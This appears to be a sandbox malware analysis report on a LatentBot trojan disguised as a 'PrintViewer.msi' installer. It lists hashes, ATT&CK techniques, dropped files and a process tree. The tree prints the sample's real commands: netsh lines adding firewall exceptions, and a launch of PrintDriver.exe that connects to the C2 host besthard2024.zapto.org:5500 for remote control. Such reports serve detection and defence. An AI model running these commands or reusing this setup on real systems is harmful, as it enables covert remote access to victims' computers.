latentbot | 00ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/09/2024, 22:29

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General

Target

PrintViewer.msi
Size

6.7MB
MD5

85f914ec316e8d20e8e13ef3719e04e4
SHA1

86ec276d409525bd8c1ef6d47ec8eece7639c0a2
SHA256

00ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230
SHA512

6a9eebfd6b4e794ab1fd949fa2093559460390a1d7843484e2086145e2ae968d8c347a3b3392aab2ebc41463cf97a3d36b23b6e8f80000949bb66c8eff3ba4e6
SSDEEP

98304:57vB+ZHiEZJMuI9JqwLOO+lzsnMHDqqxLSd7qqXR2EkLus6elw5Xe21NtcP33h3u:5IiiJiTqwLOTsMHDHBAI8kcXvWP1u

Score

10^/10

latentbot discovery evasion persistence privilege_escalation trojan

Malware Config

Extracted

Family

latentbot

besthard2024.zapto.org

Signatures

LatentBot
Modular trojan written in Delphi which has been in-the-wild since 2013.
trojan latentbot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	588	msiexec.exe
4	2612	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2020	netsh.exe
2052	netsh.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA194.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f7796b7.ipi	msiexec.exe
File created	C:\Windows\Installer\f7796b4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI99E4.tmp	msiexec.exe
File created	C:\Windows\Installer\f7796b7.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA50F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f7796b4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI982E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9ACF.tmp	msiexec.exe

Executes dropped EXE 4 IoCs

pid	Process
2816	MSIA50F.tmp
2344	PrintDrivers.exe
2656	PrintDriver.exe
1600	PrintDrivers.exe

Loads dropped DLL 4 IoCs

pid	Process
1284	MsiExec.exe
1284	MsiExec.exe
1284	MsiExec.exe
1556	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
588	msiexec.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIA50F.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
2524	timeout.exe
2580	timeout.exe
2960	timeout.exe
1032	timeout.exe
2140	timeout.exe
1456	timeout.exe
2888	timeout.exe
2220	timeout.exe
932	timeout.exe
2564	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Kills process with taskkill 3 IoCs

evasion

pid	Process
2108	taskkill.exe
780	taskkill.exe
384	taskkill.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1600	PrintDrivers.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2612	msiexec.exe
2612	msiexec.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe
2344	PrintDrivers.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	588	msiexec.exe
Token: SeIncreaseQuotaPrivilege	588	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeSecurityPrivilege	2612	msiexec.exe
Token: SeCreateTokenPrivilege	588	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	588	msiexec.exe
Token: SeLockMemoryPrivilege	588	msiexec.exe
Token: SeIncreaseQuotaPrivilege	588	msiexec.exe
Token: SeMachineAccountPrivilege	588	msiexec.exe
Token: SeTcbPrivilege	588	msiexec.exe
Token: SeSecurityPrivilege	588	msiexec.exe
Token: SeTakeOwnershipPrivilege	588	msiexec.exe
Token: SeLoadDriverPrivilege	588	msiexec.exe
Token: SeSystemProfilePrivilege	588	msiexec.exe
Token: SeSystemtimePrivilege	588	msiexec.exe
Token: SeProfSingleProcessPrivilege	588	msiexec.exe
Token: SeIncBasePriorityPrivilege	588	msiexec.exe
Token: SeCreatePagefilePrivilege	588	msiexec.exe
Token: SeCreatePermanentPrivilege	588	msiexec.exe
Token: SeBackupPrivilege	588	msiexec.exe
Token: SeRestorePrivilege	588	msiexec.exe
Token: SeShutdownPrivilege	588	msiexec.exe
Token: SeDebugPrivilege	588	msiexec.exe
Token: SeAuditPrivilege	588	msiexec.exe
Token: SeSystemEnvironmentPrivilege	588	msiexec.exe
Token: SeChangeNotifyPrivilege	588	msiexec.exe
Token: SeRemoteShutdownPrivilege	588	msiexec.exe
Token: SeUndockPrivilege	588	msiexec.exe
Token: SeSyncAgentPrivilege	588	msiexec.exe
Token: SeEnableDelegationPrivilege	588	msiexec.exe
Token: SeManageVolumePrivilege	588	msiexec.exe
Token: SeImpersonatePrivilege	588	msiexec.exe
Token: SeCreateGlobalPrivilege	588	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeRestorePrivilege	2612	msiexec.exe
Token: SeTakeOwnershipPrivilege	2612	msiexec.exe
Token: SeIncreaseQuotaPrivilege	772	WMIC.exe
Token: SeSecurityPrivilege	772	WMIC.exe
Token: SeTakeOwnershipPrivilege	772	WMIC.exe
Token: SeLoadDriverPrivilege	772	WMIC.exe
Token: SeSystemProfilePrivilege	772	WMIC.exe
Token: SeSystemtimePrivilege	772	WMIC.exe
Token: SeProfSingleProcessPrivilege	772	WMIC.exe
Token: SeIncBasePriorityPrivilege	772	WMIC.exe
Token: SeCreatePagefilePrivilege	772	WMIC.exe
Token: SeBackupPrivilege	772	WMIC.exe
Token: SeRestorePrivilege	772	WMIC.exe
Token: SeShutdownPrivilege	772	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
588	msiexec.exe
588	msiexec.exe
2656	PrintDriver.exe
2656	PrintDriver.exe
2656	PrintDriver.exe
2656	PrintDriver.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2656	PrintDriver.exe
2656	PrintDriver.exe
2656	PrintDriver.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 1284	2612	msiexec.exe	31
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2612 wrote to memory of 2816	2612	msiexec.exe	32
PID 2172 wrote to memory of 360	2172	cmd.exe	36
PID 2172 wrote to memory of 360	2172	cmd.exe	36
PID 2172 wrote to memory of 360	2172	cmd.exe	36
PID 2172 wrote to memory of 2812	2172	cmd.exe	37
PID 2172 wrote to memory of 2812	2172	cmd.exe	37
PID 2172 wrote to memory of 2812	2172	cmd.exe	37
PID 2172 wrote to memory of 1480	2172	cmd.exe	38
PID 2172 wrote to memory of 1480	2172	cmd.exe	38
PID 2172 wrote to memory of 1480	2172	cmd.exe	38
PID 1480 wrote to memory of 3012	1480	cmd.exe	39
PID 1480 wrote to memory of 3012	1480	cmd.exe	39
PID 1480 wrote to memory of 3012	1480	cmd.exe	39
PID 2172 wrote to memory of 772	2172	cmd.exe	40
PID 2172 wrote to memory of 772	2172	cmd.exe	40
PID 2172 wrote to memory of 772	2172	cmd.exe	40
PID 2172 wrote to memory of 468	2172	cmd.exe	41
PID 2172 wrote to memory of 468	2172	cmd.exe	41
PID 2172 wrote to memory of 468	2172	cmd.exe	41
PID 2172 wrote to memory of 1552	2172	cmd.exe	44
PID 2172 wrote to memory of 1552	2172	cmd.exe	44
PID 2172 wrote to memory of 1552	2172	cmd.exe	44
PID 2172 wrote to memory of 1556	2172	cmd.exe	45
PID 2172 wrote to memory of 1556	2172	cmd.exe	45
PID 2172 wrote to memory of 1556	2172	cmd.exe	45
PID 1556 wrote to memory of 1476	1556	cmd.exe	46
PID 1556 wrote to memory of 1476	1556	cmd.exe	46
PID 1556 wrote to memory of 1476	1556	cmd.exe	46
PID 1556 wrote to memory of 2020	1556	cmd.exe	47
PID 1556 wrote to memory of 2020	1556	cmd.exe	47
PID 1556 wrote to memory of 2020	1556	cmd.exe	47
PID 1556 wrote to memory of 2052	1556	cmd.exe	48
PID 1556 wrote to memory of 2052	1556	cmd.exe	48
PID 1556 wrote to memory of 2052	1556	cmd.exe	48
PID 1556 wrote to memory of 1576	1556	cmd.exe	49
PID 1556 wrote to memory of 1576	1556	cmd.exe	49
PID 1556 wrote to memory of 1576	1556	cmd.exe	49
PID 1556 wrote to memory of 236	1556	cmd.exe	50
PID 1556 wrote to memory of 236	1556	cmd.exe	50
PID 1556 wrote to memory of 236	1556	cmd.exe	50
PID 1556 wrote to memory of 2656	1556	cmd.exe	51
PID 1556 wrote to memory of 2656	1556	cmd.exe	51
PID 1556 wrote to memory of 2656	1556	cmd.exe	51
PID 2172 wrote to memory of 2564	2172	cmd.exe	52
PID 2172 wrote to memory of 2564	2172	cmd.exe	52
PID 2172 wrote to memory of 2564	2172	cmd.exe	52
PID 2172 wrote to memory of 384	2172	cmd.exe	53
PID 2172 wrote to memory of 384	2172	cmd.exe	53
PID 2172 wrote to memory of 384	2172	cmd.exe	53
PID 2172 wrote to memory of 1456	2172	cmd.exe	54
PID 2172 wrote to memory of 1456	2172	cmd.exe	54

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\PrintViewer.msi
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:588

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C1475CDEF1295FC629A3817603867D18
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1284
- C:\Windows\Installer\MSIA50F.tmp
  "C:\Windows\Installer\MSIA50F.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2816

C:\Games\PrintDrivers.exe
"C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2344

C:\Windows\system32\cmd.exe
cmd /c ""C:\Games\PrintDrivers.cmd" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:2812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\reg.exe
    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:3012
- C:\Windows\System32\Wbem\WMIC.exe
  wmic process where (name="PrintDriver.exe") get commandline
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:772
- C:\Windows\system32\findstr.exe
  findstr /i "PrintDriver.exe"
  2⤵
  PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"
  2⤵
  PID:1552
- C:\Windows\system32\cmd.exe
  cmd
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\mode.com
    Mode 90,20
    3⤵
    PID:1476
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2020
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2052
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where (name="PrintDriver.exe") get commandline
    3⤵
    PID:1576
- - C:\Windows\system32\findstr.exe
    findstr /i "PrintDriver.exe"
    3⤵
    PID:236
- - C:\Games\PrintDriver.exe
    C:\Games\PrintDriver.exe -autoreconnect ID:52521093 -connect besthard2024.zapto.org:5500 -run
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2656
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2564
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:384
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:1456
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:2108
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2524
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:780
- C:\Games\PrintDrivers.exe
  C:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1600

C:\Windows\system32\cmd.exe
cmd /c ""C:\Games\driverhelp.cmd" "
1⤵
PID:1960
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:2712
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2888
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2580
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2220
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2960
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:1032
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:2140
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\f7796b8.rbs

Filesize
418KB

MD5
da71fc32022f1f8e8a53a87d095fb809

SHA1
36036f59bcb9c501033b45f9d04252541ec65073

SHA256
b026dda7534cf3985996cbd462dc5f9f6cc16ac4e89692e33252579474c78bfc

SHA512
0fd1fdb39e4325d4d741674ac7ee1462f7c42c69c435279b099deff79e0b1ddabe35acabf9cd722c3aa88e4ef77250107831d56549e716212b025adea9abf1ea

Download Submit
C:\Games\PrintDriver.txt

Filesize
1KB

MD5
6eb13f7936a83f4c44842029914aad6e

SHA1
7b9b27731d4ca6f996ce68c5d68b4d653e31d915

SHA256
8d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49

SHA512
227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e

Download Submit
C:\Games\PrintDrivers.cmd

Filesize
1KB

MD5
eacc690f71a77685f030bef23b506b91

SHA1
03b911ba997d44028bf515ea44fe4813b4b4a785

SHA256
0f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263

SHA512
9870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d

Download Submit
C:\Games\PrintDrivers.exe

Filesize
403KB

MD5
29ed7d64ce8003c0139cccb04d9af7f0

SHA1
8172071a639681934d3dc77189eb88a04c8bcfac

SHA256
e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f

SHA512
4bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415

Download Submit
C:\Games\UltraVNC.ini

Filesize
1KB

MD5
b9dfbea744cc6c65473a97f2b959e44c

SHA1
c022f1d97fa56d61ad935aafa4e9e59e611e746a

SHA256
6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d

SHA512
b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5

Download Submit
C:\Games\driverhelp.cmd

Filesize
870B

MD5
fd3b5847ddb8a31413951c0aa870ab95

SHA1
e3e91e3e9fa442cd1937422120de91da87973ddb

SHA256
e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad

SHA512
5d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
6739754396934cf18d5169c8c7ac7d2a

SHA1
9b8cd3e8844e43c703a1366ea4eaabc54d5e981a

SHA256
d29aae5dfa44dfc79fbe4b6b0d2381a30ae499be1db60c624affe61bd1bc3c6d

SHA512
2f6296d19a3bacc4d664ac4b495c41e5fdb1ecabd30dfd8dfceff315c8131af67dccb43d9112b33fa54a05907125f110e48a9e81c60906d46e4c96446a32b2a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab94E2.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar94F4.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Windows\Installer\MSIA50F.tmp

Filesize
413KB

MD5
c8311ded7db427ce2c2879558ce8a8c1

SHA1
1895ce48297025dc005ebebc8256ac6d62013dec

SHA256
6fc76509f00c8ac81b597feeab520e684d190d831d828ca318d1e54afbf4a193

SHA512
d293885ef98f4e3fd9794500b8d560354cec3227916df05027f8c311076c60f11b6857e4e0ab0618f4d42da8141b42bcfb829a3a43b29a73ce0aa9967a80a232

Download Submit
\Games\PrintDriver.exe

Filesize
2.8MB

MD5
27c1c264c6fce4a5f44419f1783db8e0

SHA1
e071486e4dfef3a13f958a252d7000d3ce7bfd89

SHA256
29379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db

SHA512
a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98

Download Submit
\Windows\Installer\MSI9ACF.tmp

Filesize
936KB

MD5
13056f6fc48a93c1268d690e554f4571

SHA1
b83de3638e8551a315bb51703762a9820a7e0688

SHA256
aeda49baf2d79da2f7a9266f1fb7884111c2620e187090321f5278af5131c996

SHA512
ca828b4248e399178a8614f941332d159a30bad0156df0d5f4c4ca9d74d0ccb61fac59f34c945f5f914e22ec639bd97718f76d21b452825b07fe4041d1a44824

Download Submit
memory/1600-169-0x0000000000260000-0x0000000000262000-memory.dmp

Filesize
8KB

Download
memory/2172-154-0x00000000022F0000-0x0000000002300000-memory.dmp

Filesize
64KB

Download
memory/2344-102-0x00000000000C0000-0x00000000000C2000-memory.dmp

Filesize
8KB

Download
memory/2816-98-0x0000000000160000-0x0000000000162000-memory.dmp

Filesize
8KB

Download